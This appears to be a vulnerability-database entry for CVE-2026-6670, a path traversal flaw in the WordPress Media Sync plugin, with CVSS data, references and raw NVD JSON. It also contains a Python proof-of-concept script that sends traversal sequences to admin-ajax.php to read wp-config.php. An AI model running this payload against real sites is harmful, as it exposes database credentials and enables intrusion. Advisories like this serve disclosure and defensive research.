CVE-2026-6670

Description

The Media Sync plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.4.9 via the 'sub_dir' and 'media_items' parameters. This is due to insufficient validation of user-supplied file paths, which are not checked for directory traversal sequences or restricted to the intended uploads directory. This makes it possible for authenticated attackers, with Author-level access and above, to perform actions on files outside of the originally intended directory.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Media Sync Plugin <= 1.4.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-6670
# This script demonstrates the Path Traversal vulnerability.
# Requires Author-level privileges or higher.

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Attacker's cookies (authenticated session)
cookies = {
    "wordpress_logged_in_xxx": "your_cookie_value"
}

# The vulnerable payload using directory traversal sequences
# Attempting to read wp-config.php
payload_data = {
    "action": "media_sync_action", 
    "sub_dir": "../../..", 
    "media_items": "wp-config.php"
}

try:
    response = requests.post(target_url, data=payload_data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6670
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6670
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6670/
[4] VulDB https://vuldb.com/cve/CVE-2026-6670
[5] https://plugins.trac.wordpress.org/changeset/3511221/media-sync
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/ebbc420d-43fd-48c4-8507-6d94b9fed565?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6670", "sourceIdentifier": "[email protected]", "published": "2026-05-14T07:16:21.277", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Media Sync plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.4.9 via the 'sub_dir' and 'media_items' parameters. This is due to insufficient validation of user-supplied file paths, which are not checked for directory traversal sequences or restricted to the intended uploads directory. This makes it possible for authenticated attackers, with Author-level access and above, to perform actions on files outside of the originally intended directory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3511221/media-sync", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ebbc420d-43fd-48c4-8507-6d94b9fed565?source=cve", "source": "[email protected]"}]}}